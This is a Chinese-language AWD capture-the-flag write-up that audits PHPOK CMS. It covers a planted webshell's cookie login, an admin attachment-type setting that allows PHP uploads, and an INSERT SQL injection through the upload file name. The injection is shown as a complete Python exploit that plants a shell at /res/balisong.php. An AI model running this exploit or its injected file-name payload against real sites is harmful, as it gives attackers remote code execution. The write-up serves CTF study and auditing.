今晚简单来看看那天比赛的源码吧,比赛的时候还是有些慌没有好好去静下心看代码。
awd给的题中的漏洞,都是那种可以快速让你利用拿到权限后得到flag的那种,特别复杂利用的一般没有。
建议先黑盒去尝试,例如前台上传,后台上传,等等,执行失败再来结合代码审计看看是否可以绕过利用。
所以审计中重点关注预留后门,注入,文件上传,命令/代码执行。
0x01 预留后门
没有太多套路和隐藏 就是明显的马
比较有意思的是第一个大马。
当时以为就是普通的$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel 输入密码即可 但是发现并不是
输入angel密码后把md5给我返回回来了 看看代码
$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel ......... .... /* 身份验证 */ if ($act == "logout") { scookie('loginpass', '', -86400 * 365); @header('Location: '.SELF); exit; } if($pass) { if ($act == 'login') { if ($pass == encode_pass($P['password'])) { scookie('loginpass',encode_pass($P['password'])); @header('Location: '.SELF); exit; } } if (isset($_COOKIE['loginpass'])) { if ($_COOKIE['loginpass'] != $pass) { loginpage(); } } else { loginpage(); } }
这里$p是接收的post提交的数组
简单的来说就是 接收你输入的password密码,然后encode_pass加密赋值给pass变量,然后scookie函数给你设置cookie,loginpass=加密后你的密码 来看看加密的函数
简单的加密后返回md5,
看看scookie函数,这里明显修改后,
这里的setcookie是没有成功的 所以直接输入马是进不去 ,访问的时候必须带着cookie的loginpass字段,值为加密后的angle
0x02 后台任意文件上传getshell
都是admin 当时登录后第一时间是改了后台密码
分析:
漏洞文件:/framework/admin/rescate_control.php 第 53行
public function save_f() { $id = $this->get('id','int'); if(!$id){ if(!$this->popedom['add']){ $this->json(P_Lang('您没有权限执行此操作')); } }else{ if(!$this->popedom['modify']){ $this->json(P_Lang('您没有权限执行此操作')); } } $title = $this->get('title'); if(!$title){ $this->json(P_Lang('附件分类名称不能为空')); } $root = $this->get('root'); if(!$root){ $this->json(P_Lang('附件存储目录不能为空')); } if($root == '/'){ $this->json(P_Lang('不支持使用/作为根目录')); } if(!preg_match("/[a-z0-9\_\/]+/",$root)){ $this->json(P_Lang('文件夹不符合系统要求,只支持:小写字母、数字、下划线及斜杠')); } if(substr($root,0,1) == "/"){ $root = substr($root,1); } if(!file_exists($this->dir_root.$root)){ $this->lib('file')->make($this->dir_root.$root); } $filetypes = $this->get('filetypes'); if(!$filetypes){ $this->json(P_Lang('附件类型不能为空')); } $list_filetypes = explode(",",$filetypes); foreach($list_filetypes as $key=>$value){ $value = trim($value); if(!$value){ unset($list_filetypes[$key]); continue; } if(!preg_match("/[a-z0-9\_\.]+/",$value)){ $this->json(P_Lang('附件类型设置不正确,仅限字母,数字及英文点符号')); } } $filetypes = implode(",",$list_filetypes); $typeinfo = $this->get('typeinfo'); if(!$typeinfo){ $this->json(P_Lang('附件类型说明不能为空')); } $maxinfo = str_replace(array('K','M','KB','MB','GB','G'),'',get_cfg_var('upload_max_filesize')) * 1024; $filemax = $this->get('filemax','int'); if(!$filemax || ($filemax && $filemax>$maxinfo)){ $filemax = $maxinfo; } $data = array('title'=>$title,'root'=>$root,'filetypes'=>$filetypes,'typeinfo'=>$typeinfo,'filemax'=>$filemax); $data['folder'] = $this->get('folder'); $data['gdall'] = $this->get('gdall','int'); if(!$data['gdall']){ $gdtypes = $this->get('gdtypes'); $data['gdtypes'] = $gdtypes ? implode(',',$gdtypes) : ''; }else{ $data['gdtypes'] = ''; } $data['ico'] = $this->get('ico','int'); $data['is_default'] = $this->get('is_default','int'); $this->model('rescate')->save($data,$id); $this->json(true); }
这段代码是设置 可以上传的附件类型的代码
这里只判断附件类型是否为空,并没有限制后缀,导致可以自行添加php后缀,进而执行上传文件操作,获取网站shell。
在phpok 管理员后台,选择 工具 > 附件分类管理 编辑分类列表。在支持的附件类型:
中添加php
然后再内容管理>行业新闻 添加新的文章。在选择图片,资源管理器中上传新的附件。
0x03 前台getshell
比赛的时候源码是开放了前台的功能
在/framework/www/upload_control.php中第61行:
private function upload_base($input_name='upfile',$cateid=0) { $rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array); if(!$id){ $this->lib('file')->rm($this->dir_root.$rs['filename']); return array('status'=>'error','error'=>P_Lang('图片存储失败')); } $this->model('res')->gd_update($id); $rs = $this->model('res')->get_one($id); $rs["status"] = "ok"; return $rs; }
这是一个文件上传函数,然后在该函数开头又调用了getfile函数,跟进:
public function getfile($input='upfile',$cateid=0) { if(!$input){ return array('status'=>'error','content'=>P_Lang('未指定表单名称')); } $this->_cate($cateid); if(isset($_FILES[$input])){ $rs = $this->_upload($input); }else{ $rs = $this->_save($input); } if($rs['status'] != 'ok'){ return $rs; } $rs['cate'] = $this->cate; return $rs; }
如果存在上传文件就调用_upload函数,继续跟进:
private function _upload($input) { global $app; $basename = substr(md5(time().uniqid()),9,16); $chunk = $app->get('chunk','int'); $chunks = $app->get('chunks','int'); if(!$chunks){ $chunks = 1; } $tmpname = $_FILES[$input]["name"]; $tmpid = 'u_'.md5($tmpname); $ext = $this->file_ext($tmpname); $out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk; if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } $error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0; if($error_id){ return array('status'=>'error','error'=>$this->up_error[$error_id]); } if(!is_uploaded_file($_FILES[$input]['tmp_name'])){ return array('status'=>'error','error'=>P_Lang('上传失败,临时文件无法写入')); } if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) { return array('status'=>'error','error'=>P_Lang('无法打开输入流')); } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($out); @fclose($in); $app->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part'); $index = 0; $done = true; for($index=0;$index<$chunks;$index++) { if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) { $done = false; break; } } if(!$done){ return array('status'=>'error','error'=>'上传的文件异常'); } $outfile = $this->folder.$basename.'.'.$ext; if(!$out = @fopen($this->dir_root.$outfile,"wb")) { return array('status'=>'error','error'=>P_Lang('无法打开输出流')); } if(flock($out,LOCK_EX)){ for($index=0;$index<$chunks;$index++) { if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){ break; } while ($buff = fread($in, 4096)) { fwrite($out, $buff); } @fclose($in); $GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part"); } flock($out,LOCK_UN); } @fclose($out); $tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }
其中 $ext = $this->file_ext($tmpname);
是检测文件后缀的,看一下:
private function file_ext($tmpname) { $ext = pathinfo($tmpname,PATHINFO_EXTENSION); if(!$ext){ return false; } $ext = strtolower($ext); $filetypes = "jpg,gif,png"; if($this->cate && $this->cate['filetypes']){ $filetypes .= ",".$this->cate['filetypes']; } if($this->file_type){ $filetypes .= ",".$this->file_type; } $list = explode(",",$filetypes); $list = array_unique($list); if(!in_array($ext,$list)){ return false; } return $ext; }
上传是比较严格的,只允许上传后缀是jpg,png,gif这种图片后缀的文件,上传我们无法绕过,但是程序对于上传的文件名没有充份的过滤,在函数末尾,将文件名添加到了返回的数组中:
$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname); $title = str_replace(".".$ext,'',$tmpname); return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok'); }
这里的$tmpname就是我们上传的文件名,注意,不是上传后的文件名,而是上传前的文件名,并且没有对该文件名过滤,然后返回。
我们回到开头,upload_base函数中去:
$rs = $this->lib('upload')->getfile($input_name,$cateid); if($rs["status"] != "ok"){ return $rs; } $array = array(); $array["cate_id"] = $rs['cate']['id']; $array["folder"] = $rs['folder']; $array["name"] = basename($rs['filename']); $array["ext"] = $rs['ext']; $array["filename"] = $rs['filename']; $array["addtime"] = $this->time; $array["title"] = $rs['title']; $array['session_id'] = $this->session->sessid(); $array['user_id'] = $this->session->val('user_id'); $arraylist = array("jpg","gif","png","jpeg"); if(in_array($rs["ext"],$arraylist)){ $img_ext = getimagesize($this->dir_root.$rs['filename']); $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]); $array["attr"] = serialize($my_ext); } $id = $this->model('res')->save($array);
可以看到这里将返回值中的title的值赋值给了$array[‘title’],这个值是我们可控的,然后将$array带入到了save函数中,我们看一下该函数:
在/framework/model/res.php中第279行:
public function save($data,$id=0) { if(!$data || !is_array($data)){ return false; } if($id){ return $this->db->update_array($data,"res",array("id"=>$id)); }else{ return $this->db->insert_array($data,"res"); } }
将$data带入到了insert_array函数中,我们看一下该函数:
/framework/engine/db/mysqli.php中第211行:
public function insert_array($data,$tbl,$type="insert") { if(!$tbl || !$data || !is_array($data)){ return false; } if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){ $tbl = $this->prefix.$tbl; } $type = strtolower($type); $sql = $type == 'insert' ? "INSERT" : "REPLACE"; $sql.= " INTO ".$tbl." "; $sql_fields = array(); $sql_val = array(); foreach($data AS $key=>$value){ $sql_fields[] = "`".$key."`"; $sql_val[] = "'".$value."'"; } $sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")"; return $this->insert($sql); }
就是将该数组中的键值遍历出来,将键作为字段名,将值作为对应字段的值。可以看到,对于值是没有进行转义的,其中包括我们可以控制的title的值,那么这里就产生了一个insert的注入。那么这个注入我们有什么用呢?当然首先想到的是一个出数据,但是对于update 或者insert注入,一般来说我会想办法将这个注入升级一下危害。注意这个注入是一个insert注入,并且insert语句是可以一次插入多条内容的,我们不能控制当前这条insert语句的内容,我们可以控制下一条的内容,比如说像这样:
通过上文说到的,我们可以控制res表中的一行记录的值,那么这个filename也是我们可控的,那么我们如果将filename设置为/res/balisong.php。那么我上传的图片文件就会重新命名成/res/balisong.php。我们就达到了一个getshell的目的。
由于上传的文件名的特殊性。导致我们不能带有斜杠,那么怎么办呢?我们可以利用十六进制编码来绕过,具体的漏洞利用过程就不细说了,比较复杂,所以直接上exp:
来自先知社区
#-*- coding:utf-8 -*- import requests import sys import re if len(sys.argv) < 2: print u"Usage: exp.py url [PHPSESSION]\r\nFor example:\r\n[0] exp.py http://localhost\r\n[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02" exit() baseurl = sys.argv[1] phpses = sys.argv[2] if len(sys.argv) > 2 else '' cookies = {'PHPSESSION': phpses} if baseurl[-1] == '/': baseurl = baseurl[:-1] url = baseurl + '/index.php?c=upload&f=save' files = [ ('upfile', ("1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg", '', 'image/jpg')), ] files1 = [ ('upfile', ('1.jpg', '', 'image/jpg')), ] r = requests.post(url, files=files, cookies=cookies) response = r.text id = re.search('"id":"(\d+)"', response, re.S).group(1) id = int(id) + 1 url = baseurl + '/index.php?c=upload&f=replace&oldid=%d' % (id) r = requests.post(url, files=files1, cookies=cookies) shell = baseurl + '/res/balisong.php' response = requests.get(shell) if response.status_code == 200: print "congratulation:Your shell:\n%s\npassword:balisong" % (shell) else: print "oh!Maybe failed.Please check"